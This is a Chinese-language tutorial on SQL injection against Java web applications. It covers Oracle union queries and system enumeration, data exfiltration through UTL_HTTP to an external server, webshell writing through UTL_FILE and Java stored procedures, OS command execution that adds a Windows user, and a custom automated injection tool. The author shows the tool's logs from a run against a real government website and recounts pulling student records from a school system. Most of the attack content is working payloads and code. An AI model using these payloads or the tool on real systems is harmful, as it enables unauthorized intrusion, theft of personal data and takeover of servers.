攻擊JavaWeb應用[4]-SQL注入[2]

園長 · 2013/07/18 17:23php

注:這一節主要是介紹Oracle和SQL注入工具相關,本應該是和前面的Mysql一塊兒可是因爲章節過長了無法看,因此就分開了。


0x00 Oracle


Oracle Database,又名Oracle RDBMS,或簡稱Oracle。是甲骨文公司的一款關係數據庫管理系統。html

Oracle對於MYSQL、MSSQL來講意味着更大的數據量,更大的權限。這一次咱們依舊使用上面的代碼,數據庫結構平移到Oracle上去,數據庫名用的默認的orcl,字段"corps_desc" 從text改爲了VARCHAR2(4000),JSP內的驅動和URL改爲了對應的Oracle。  enter image description herejava

Jsp頁面代碼:  enter image description heremysql

開始注入:web

Union +order by 永遠都是最快捷最實用的,而盲注什麼的太費時費力了。sql

依舊提交order by 去猜想顯示當前頁面所用的SQL查詢了多少個字段,也就是確認查詢字段數。chrome

分別提交http://localhost/SqlInjection/index.jsp?id=1 AND 1=1?id=1 AND 1=12 獲得的頁面明顯不一致,1=12頁面沒有任何數據,即1=12爲false沒查詢到任何結果。  enter image description hereshell

http://localhost/SqlInjection/index.jsp?id=1 AND 1=12
複製代碼

enter image description here數據庫

提交:http://localhost/SqlInjection/index.jsp?id=1 ORDER BY 4-- 頁面正常,提交:?id=1 ORDER BY 5--報錯說明字段數確定是4。apache

Order by 5爆出的錯誤信息:  enter image description here

使用union 進行聯合查詢:

Oracle的dual表:

dual是一個虛擬表,用來構成select的語法規則,oracle保證dual裏面永遠只有一條記錄,在Oracle注入中用途可謂普遍。

Oracle union 查詢 tips:

Oracle 在使用union 查詢的跟Mysql不同Mysql裏面我用1,2,3,4就能佔位,而在Oracle裏面有比較嚴格的類型要求。也就是說你union select的要和前面的

SELECT * from "corps" where "id" = 1 
複製代碼

當中查詢的字段類型一致。咱們已知查詢的第二個字段是corps_name,對應的數據類型是:VARCHAR2(100),也就是字符型。當咱們傳入整型的數字時就會報錯。好比當咱們提交union查詢時提交以下SQL注入語句:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT 1,2,NULL,NULL FROM dual--
複製代碼

enter image description here

Oracle當中正確的注入方式用NULL去佔位在咱們未知哪一個字段是什麼類型的時候:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT NULL,NULL,NULL,NULL FROM dual--
複製代碼

當已知第一個字段是整型的時候:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT 1,NULL,NULL,NULL FROM dual--
複製代碼

SQL執行後的佔位效果:  enter image description here

根據咱們以前注入Mysql的經驗,咱們如今要儘量多的去獲取服務器信息和數據庫,好比數據庫版本、權限等。

在講Mysql注入的時候已經說道要合理利用工具,在Navicat客戶端執行select * from session_roles結果:  enter image description here

Oracle查詢分頁tips:

不得不說Oracle查詢分頁的時候沒有Mysql那麼方便,Oracle可不能limit 0,1而是經過三層查詢嵌套的方式實現分頁(查詢第一條數據「>=0<=1」取交集不就是1麼?我數學5分黨,若是有關數學方面的東西講錯了各位莫怪):

SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >= 0 
複製代碼

enter image description here

在Oracle裏面沒有相似於Mysql的group_concat,用分頁去取數據,不過有更加簡單的方法。

用UNION SELECT 查詢:
http://localhost/SqlInjection/index.jsp?id=1 UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32)) FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)--
複製代碼

enter image description here

不過我得告訴你,UNION SELECT查詢返回的是多個結果,而在正常的業務邏輯當中咱們取一條新聞是直接放到對應的實體當中的,好比咱們查詢的wooyun的廠商表:corps,那麼咱們作查詢的頗有多是抽象出一個corps對象,在DAO層取獲得單個的參數結果集,若是有多個要麼報錯,要麼取出第一條。而後再到controller層把查詢的結果放到請求裏面。最終在輸出的時候天然也就只能拿到單個的corps實體,這也是視圖層只作展現把業務邏輯和視圖分開的好處之一,等講到MVC的時候試着給不懂的朋友解釋一下。

再來看一下咱們醜陋的在頁面展現數據的代碼:  enter image description here

接下來的任務就是收集信息了,上面咱們已經收集到數據庫全部的用戶的用戶名和咱們當前用戶的權限。

獲取全部的數據庫表:

http://localhost/SqlInjection/index.jsp?id=1 UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32))||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||NVL(CAST(TABLE_NAME AS VARCHAR(4000)),CHR(32)) FROM SYS.ALL_TABLES WHERE OWNER IN (CHR(67)||CHR(84)||CHR(88)||CHR(83)||CHR(89)||CHR(83),CHR(69)||CHR(88)||CHR(70)||CHR(83)||CHR(89)||CHR(83),CHR(77)||CHR(68)||CHR(83)||CHR(89)||CHR(83),CHR(79)||CHR(76)||CHR(65)||CHR(80)||CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(67)||CHR(79)||CHR(84)||CHR(84),CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(89)||CHR(83)||CHR(84)||CHR(69)||CHR(77),CHR(87)||CHR(77)||CHR(83)||CHR(89)||CHR(83))—
複製代碼

鏈接符我用的是-轉換成編碼也就是45  enter image description here

已列舉出全部的表名:  enter image description here

當UNION ALL SELECT 不起做用的時候咱們能夠用上面的Oracle分頁去挨個讀取,缺點就是效率沒有UNION ALL SELECT高。

信息版本獲取:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT NULL, NULL, NULL, (select banner from sys.v_$version where rownum=1) from dual—
複製代碼

enter image description here

獲取啓動Oracle的用戶名:

select SYS_CONTEXT ('USERENV','OS_USER') from dual;
複製代碼

服務器監聽IP:

select utl_inaddr.get_host_address from dual;
複製代碼

服務器操做系統:

select member from v$logfile where rownum=1;
複製代碼

當前鏈接用戶:

select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual;
複製代碼

獲取當前鏈接的數據庫名:

select SYS_CONTEXT ('USERENV', 'DB_NAME') from dual;
複製代碼

關於獲取敏感的表和字段說明:

一、獲取全部的字段schema:

select * from user_tab_columns
複製代碼

二、獲取當前用戶權限下的全部的表:

SELECT * FROM  User_tables
複製代碼

上述SQL經過添加Where條件就能獲取到常見注入的敏感信息,請有心學習的同窗按照上面的MYSQL注入時經過information_schema獲取敏感字段的方式去學習user_tab_columns和FROM User_tables表。  enter image description hereenter image description here

Oracle高級注入:

一、友情備份

在講Mysql的時候提到過怎麼在注入點去構造SQL語句去實現友情備份,在去年注入某大牛學校的教務處的時候我想到了一個簡單有效的SQL注入點友情備份數據庫的方法。沒錯就是利用Oracle的utl_http包。Oracle的確是很是的強大,utl_http就能過直接對外發送Http請求。咱們能夠利用utl_http去SQL注入,那麼咱們同樣能夠利用utl_http去作友情備份。

構建如下SQL注入語句:

http://60.xxx.xx.131/xxx/aao_66/index.jsp?fid=1+and+'1'in(SELECT+UTL_HTTP.request('http://xxx.cn:8080/xxxx/mysql.jsp?data='||ID||'----'||USERID||'----'||NAME||'----'||RELATION||'----'||OCCUPATION||'----'||POSITION||'----'||ASSN||UNIT||'----'||'----'||TEL)+FROM+STU_HOME)
複製代碼

UTL_HTTP 會帶着查詢數據庫的結果去請求咱們的URL,也就是我注入點上寫的URL。Tips:UTL_HTTP是一條一條的去請求的,因此會跟數據庫保持一個長鏈接。而數據量過大的話會致使數據丟失,若是想完整的友情備份這種方法並非特別可行。只用在瀏覽器上請求這個注入點Oracle會自動的把本身的褲子送上門來那種感受很是的好。

enter image description here

使用UTL_HTTP友情備份效果圖:  enter image description here

utl_http在注入的時候怎麼去利用同理,因爲我也沒有去深刻了解utl_http或許他還有其餘的更實用的功能等待你去發現。

使用UTL_FILE友情備份:

建立目錄:

create or replace directory cux_log_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/ROOT/selina';  
複製代碼

導出數據到文件:

declare
    frw   utl_file.file_type;
    begin
        frw:=utl_file.fopen('CUX_LOG_DIR','emp.txt','w');
        for rec in (select * from admin) loop
            utl_file.put_line(frw,rec.id||','||rec.password);
        end loop;
        utl_file.fclose(frw);
    end;
/
複製代碼

效果圖:  enter image description here

GetShell

以前的各類Oracle文章彷佛都提過怎樣去getshell,其實方法卻是有的。可是在Java裏面你要想拿到WEB的根路徑比那啥還難。可是PHP什麼的就不同了,PHP裏面爆個路徑徹底是屢見不鮮。由於數據庫對開發語言的無關係,因此或許咱們在某些場合下如下的getshell方式也是挺不錯的。

在有Oracle鏈接權限沒有webshell時候經過utl_file獲取shell

(固然用戶必須的具備建立DIRECTORY的權限):

enter image description here

執行:

create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/';
複製代碼

固然了as後面跟的確定是你的WEB路徑。

執行如下SQL語句:

建立目錄:

create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/';
複製代碼

寫入shell到指定目錄:注意directory在這裏必定要大寫:

declare
    frw   utl_file.file_type;
    begin
        frw:=utl_file.fopen('GETSHELL_DIR','yzmm.jsp','w');
        utl_file.put_line(frw,'hello world.');
        utl_file.fclose(frw);
    end;
/
複製代碼

enter image description here

在低權限下getshell:  enter image description here

執行如下SQL建立表空間:

create tablespace shell datafile 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/shell.jsp' size 100k nologging ;
CREATE TABLE SHELL(C varchar2(100)) tablespace shell;
insert into SHELL values('hello world');
commit;
alter tablespace shell offline;
drop tablespace shell including contents;
複製代碼

這方法是能寫文件,可是好像沒發現個人hello world,難道是我打開方式不對?

Oracle SQLJ編譯執行Java代碼:

衆所周知,因爲sun那隻土鱉不爭氣竟然被oracle給收購了。

不過對Oracle來講的確是有有很多優點的。

SQLJ是一個與Java編程語言緊密集成的嵌入式SQL的版本,這裏"嵌入式SQL"是用來在其宿主通用編程語言如C、C++、Java、Ada和COBOL)中調用SQL語句。SQL翻譯器用SQLJ運行時庫中的調用來替代嵌入式SQLJ語句,該運行時庫真正實現SQL操做。這樣翻譯的結果是獲得一個可以使用任何Java翻譯器進行編譯的Java源程序。一旦Java源程序被編譯,Java執行程序就可在任何數據庫上運行。SQLJ運行環境由純Java實現的小SQLJ運行庫(小,意指其中包括少許的代碼)組成,該運行時庫轉而調用相應數據庫的JDBC驅動程序。

SQLJ能夠這樣玩:首先建立一個類提供一個靜態方法:  enter image description here

其中的getShell是咱們的方法名,p和纔是參數,p是路徑,而c是要寫的文件內容。在建立Java存儲過程的時候方法類型必須是靜態的static

執行如下SQL建立Java儲存過程:

create or replace and compile
java source named "getShell"
as public class GetShell {public static int getShell(String p, String c) {int RC = -1;try {new java.io.FileOutputStream(p).write(c.getBytes());RC = 1;} catch (Exception e) {e.printStackTrace();}return RC;}}
複製代碼

建立函數:

create or replace
function getShell(p in varchar2, c in varchar2) return number
as
language java
name 'util.getShell(java.lang.String, java.lang.String) return Integer';
複製代碼

建立存儲過程:

create or replace procedure RC(p in varChar, c in varChar)
as
x number;
begin
x := getShell(p,c);
end;
複製代碼

授予Java權限:

variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;
複製代碼

寫webshell:

exec :x:=getShell('d:/3.txt','selina');
複製代碼

enter image description here

SQLJ執行cmd命令:

方法這裏和上面幾乎大同小異,同樣的提供一個靜態方法,而後去建立一個存儲過程。而後調用Java裏的方法去執行命令。

建立Java存儲過程:

create or replace and compile java source named "Execute" as   
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Execute {
    public static void executeCmd(String c) {
        try {
            String l="",t;
            BufferedReader br = new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec(c).getInputStream(),"gbk"));
            while((t=br.readLine())!=null){
                l+=t+"\n";
            }
            System.out.println(l);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
複製代碼

建立存儲過程executeCmd:

create or replace procedure executeCmd(c in varchar2)
as
language java name 'Execute.executeCmd(java.lang.String)';
複製代碼

執行存儲過程:

exec executeCmd('net user selina 123 /add');
複製代碼

enter image description here

上面提供的命令執行和getshell建立方式對換一下就能回顯了,若是好不清楚怎麼讓命令執行後回顯能夠參考:

hi.baidu.com/xpy_home/it…

一個不錯的SQLJ的demo(犀利的 oracle 注入技術)。

huaidan.org/archives/24…

0x01 自動化的SQL注入工具實現


經過上面咱們對數據庫和SQL注入的熟悉,如今能夠自行動手開發注入工具了吧?

好久之前很是粗糙的寫了一個SQL注入工具類,就看成demo給你們作個演示了。

僅提供核心代碼,案例中的gov網站請勿很是攻擊!

簡單的SQL Oder by 注入實現的方式核心代碼:

一、分析

URLpublic static void AnalysisUrls(String site) throws Exception
複製代碼

這個方法主要是去分析URL的組成是否靜態化等。

二、檢測是否存在:

這個作的粗糙了些,只是經過請求提交不一樣的SQL注入語句去檢測頁面返回的狀況:

/**
     * 分析SQL參數是否存在注入
     * @param str
     */
    public static void  AnalysisUrlDynamicParamSqlInjection(String str[]) {
        Map<String,Object> content,content2;
        sqlKey = new ArrayList<Object>();
        content = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter);//原始的請求包
        int len1 = content.get("content").toString().length();//原始請求的response長度
        boolean typeIsNumber = false;
        String c1[] = {"'","-1",")\"\"\"\"\"()()",")+ANd+3815=3835+ANd+(1471=1471",") ANd+9056=9056+ANd+(9889=9889"," ANd+6346=6138 "," ANd+9056=9056"};//須要檢查的對象
        for (int i = 0; i < str.length; i++) {
            typeIsNumber = StringUtil.isNotEmpty(str[i].split("="))&&StringUtil.isNum(str[i].split("=")[1])?true:false;
            for (int j = 0; j < c1.length; j++) {
                content2 = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter.replace(str[i], str[i].split("=")[0]+"="+str[i].split("=")[1]+c1[j]));
                if (len1 != content2.get("content").toString().length()||(Integer)content2.get("status")!=200) {
                    existsInjection = true;
                    sqlKey.add(str[i]);
                    break ;
                }
            }
        }
        if (existsInjection) {
//              System.out.println(existsInjection?"Site:"+url+" 可能存在"+(typeIsNumber?"int":"String")+"型Sql注入"+"SQL注入.":"Not Found.");
            getSelectColumnCount(str);
            getDatabaseInfo();
        }
    }
複製代碼

檢測過程主要發送了幾回請求,一次正常的請求和N次帶有SQL注入的請求。若是SQL注入的請求和正常請求的結果不一致(有不可控因素,好比SQLMAP的實現方式就有去計算頁面是否穩定,從而讓檢測出來的結果更加準確)就多是存在SQL注入。

日誌以下:

url:http://www.tchjbh.gov.cn:80//news_display.php
param:id=148
url:http://www.tchjbh.gov.cn:80//news_display.php
param:id=148'
url:http://www.tchjbh.gov.cn:80//news_display.php
param:id=148
複製代碼

獲取字段數主要是經過:

/**
     * 獲取查詢字段數
     * @param str
     */
    public static int getSelectColumnCount(String str[]){
        Map<String,Object> sb = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter);//原始的請求包
        int len1 = sb.get("content").toString().length();//原始請求的response長度
        int count = -1;
        for (Object o : sqlKey) {
            count = getSbCount(o.toString(), len1);//計算字段
        }
        return count;
    }

/**
     *獲取order by 字段數
     * @param key
     * @param len1
     * @return
     */
    public static int getSbCount(String key,int len1){
        System.out.println("-----------------------end:"+end+"-----------------------------");
        Map<String,Object> sb = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+end+"+%23"));
        if (1 == end|| len1==((String)sb.get("content")).length()&&200==(Integer)sb.get("status")) {
            System.out.println("index:"+end);
            start = end;
            for (int i = start; i < 2*start+1; i++) {
                System.out.println("************開始精確匹配*****************");
                Map<String,Object> sb2 = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+end+"+%23"));
                Map<String,Object> sb3 = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+(end+1)+"+%23"));
                if (((String)sb3.get("content")).length()!=((String)sb2.get("content")).length()&&200==(Integer)sb2.get("status")) {
                    System.out.println("order by 字段數爲:"+end);
                    sbCount = end;//設置字段長度爲當前檢測出來的長度
                    return index = end;
                }else {
                    end++;
                }
            }
        }else {
            end = end/2;
            getSbCount(key, len1);
        }
        return index;
    }
複製代碼

利用檢測是否存在SQL注入的原理一樣能過檢測出查詢的字段數。咱們經過二分去order一個by 一個數而後去請求分析頁面一致性。而後不停的去修改數值最終結果相等便可得到字段數。上面的分析的代碼挺簡單的,有興趣的同窗本身去看。日誌以下:

************開始精確匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+15+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+16+%23
************開始精確匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+16+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+17+%23
************開始精確匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+17+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+18+%23
************開始精確匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+18+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+19+%23
************開始精確匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+19+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+20+%23
************開始精確匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+20+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+21+%23
************開始精確匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+21+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+22+%23
order by 字段數爲:21
skey:id=148
複製代碼

在知道了字段數後咱們就能夠經過構建關鍵字的方式去獲取SQL注入查詢的結果,咱們的目的無外乎就是不停的遞交SQL注入語句,把咱們想要獲得的數據庫的信息展現在頁面,而後咱們經過自定義的關鍵字去取回信息到本地:

/**
     * 測試,獲取數據庫表信息
     */
    public static void getDatabaseInfo(){
        String skey = sqlKey.get(0).toString();
        System.out.println("skey:"+skey);
        StringBuilder union = new StringBuilder();
        for (int i = 0; i < sbCount; i++) {
            union.append("concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),");
        }
        Map<String,Object> sb = HttpHelper.sendGet(uri, parameter.replace(skey, skey+("-1+UnIon+SeleCt+"+(union.delete(union.length()-1, union.length()))+"%23")));
        String rs = ((String)sb.get("content"));
        String user = rs.substring(rs.lastIndexOf("[user]")+6,rs.lastIndexOf("[/user]"));
        String version = rs.substring(rs.lastIndexOf("[version]")+9,rs.lastIndexOf("[/version]"));
        String database = rs.substring(rs.lastIndexOf("[database]")+10,rs.lastIndexOf("[/database]"));
        System.err.println("user:"+user);
        System.err.println("version:"+version);
        System.err.println("database:"+database);
    }
複製代碼

代碼執行的日誌:

url:http://www.tchjbh.gov.cn/news_display.php
param:id=148-1+UnIon+SeleCt+concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]')%23
user:[email protected]
version:5.1.56-community
database:tchjbh
複製代碼


0x02 模擬SQL注入分析注入工具原理


下面這個演示是針對想本身拓展上面寫的SQL注入工具的同窗。此次我才用的是PHP語言去弄清SQL注入工具的具體實現。數據庫採用的是wordpress的結構,數據庫結構以下,建議在本地先安裝好wordpress任意版本:

enter image description here

代碼以下:

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk" />
<style>
    .main{margin:0 auto;width:980px;border:1px dashed }
    .title{line-height:25px; text-align:center; font-size:18px; font-weight:500}
    pre{text-indent: 2em; margin:20px auto 10px 20px;}
</style>
<title></title>
</head>
<body>
<div class="main">
<?php
    extract($_GET);//to Map
    if(!empty($id)){
        $con = mysql_connect("localhost","root","111111");//鏈接數據庫
        $db_selected = mysql_select_db("wps",$con);//選擇數據庫
        mysql_query("SET NAMES 'GBK'"); //設置編碼
        $sql = "SELECT * from wps_posts where ID = ".$id;//查詢文章語句
        echo  "<font color=red>".$sql."</font>";//打印SQL

        /*截取SQL注入工具的SQL*/
         $paths="getsql.txt";//定義要生成的html路徑
         $handles=fopen($paths,"a");//以可寫方式打開路徑
         fwrite($handles,$sql."\t\t\n\n\n");//寫入內容
         fclose($handles);//關閉打開的文件

        $result = mysql_query($sql,$con);//執行查詢
        /*結果遍歷*/
        while ($row=mysql_fetch_array($result)) {
            echo  "<div class=title>".$row['post_title']."</div>";//把結果輸出到界面
            echo  "<pre>".$row['post_content']."</pre>";//文章內容
        }
        mysql_close($con);//關閉數據庫鏈接
    }
?>
</div>
</body>
</html>
複製代碼

創建好數據庫和表以後訪問(因爲我採用的是本身的wp博客,全部有大量的測試數據若是沒有數據建議安裝個wordpress方便之後的測試):  enter image description here

SQL注入測試:

enter image description here

讓咱們來看下m4xmysql究竟在SQL注入點提交了那些數據,點擊start咱們的PHP程序會自動在同目錄下生成一個getsql.txt打開後發現咱們截獲到以下SQL:

enter image description here

enter image description here

看起來不算多,由於我沒有自動換行,以上是在獲取數據庫相關信息。

讓我來帶着你們翻譯這些SQL都作了些什麼:

/*檢測該URL是否存在SQL注入*/
SELECT * from wps_posts where ID = 739 and 1=0      
SELECT * from wps_posts where ID = 739 and 1=1      

/*這條sql開始查詢的字段數,請注意是查詢的字段數而不是表的字段數!*/

SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d)--

SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d)--       

SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d),concat(0x5b68345d,2,0x5b2f68345d)--     
/*........................省去其中的無數次字段長度匹配嘗試................................*/

/*匹配出來SELECT * from wps_posts where ID = 739一共查詢了10個字段*/
/*那麼他是怎麼判斷出字段數10就是查詢的長度的呢?答案很簡單提交如下SQL佔位10個頁面顯示正常而前面提交的都錯誤因此獲得的數量天然就是10了。獲取請求的http status或許應該就好了*/

SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d),concat(0x5b68345d,2,0x5b2f68345d),concat(0x5b68345d,3,0x5b2f68345d),concat(0x5b68345d,4,0x5b2f68345d),concat(0x5b68345d,5,0x5b2f68345d),concat(0x5b68345d,6,0x5b2f68345d),concat(0x5b68345d,7,0x5b2f68345d),concat(0x5b68345d,8,0x5b2f68345d),concat(0x5b68345d,9,0x5b2f68345d),concat(0x5b68345d,10,0x5b2f68345d),concat(0x5b68345d,11,0x5b2f68345d),concat(0x5b68345d,12,0x5b2f68345d),concat(0x5b68345d,13,0x5b2f68345d),concat(0x5b68345d,14,0x5b2f68345d),concat(0x5b68345d,15,0x5b2f68345d),concat(0x5b68345d,16,0x5b2f68345d),concat(0x5b68345d,17,0x5b2f68345d),concat(0x5b68345d,18,0x5b2f68345d),concat(0x5b68345d,19,0x5b2f68345d),concat(0x5b68345d,20,0x5b2f68345d),concat(0x5b68345d,21,0x5b2f68345d),concat(0x5b68345d,22,0x5b2f68345d)--
複製代碼

以上的SQL完成了注入點(http://localhost/Test/1.php?id=739執行的SELECT * from wps_posts where ID = 739)的類型、是否存在和字段數量的檢測 裏面有許多的0x5b2f68345d轉換過來其實就是佔位符,爲了讓工具扒下源代碼後可以在頁面類找到具備特殊意義的字符並進行截取:

enter image description here  若是你足夠聰明或仔細會發現他這樣寫有點浪費資源,由於他的order 是從1一直遞增到爭取的長度的假如字段特別長(通常狀況下仍是不多出現的)可能要執行幾十個甚至是更多的HTTP請求,若是這裏使用二分法或許能夠很好的解決吧。

咱們接着往下看(仍是點擊start後發送的請求):

/*獲取數據庫相關信息*/
SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d)--
複製代碼

這玩意究竟是什麼神祕的東西呢?咱們不妨在Navicat和FireFox裏面瞅瞅:

enter image description here

FireFox執行的結果:

enter image description here

讓咱們來還原上面的那句廢話:

select file_priv from mysql.user where user=root
複製代碼

enter image description here

上面很長很臭的SQL翻譯過來就這麼短的一句查詢的結果就一個獲得的信息就是:

有沒有file_priv權限。而file_priv應該就是文件讀寫權限了(沒看手冊,應該八九不離十)。若是不是Y是N那就不能load_file 、into outfile、dumpfile咯。

接着看下一條SQL:

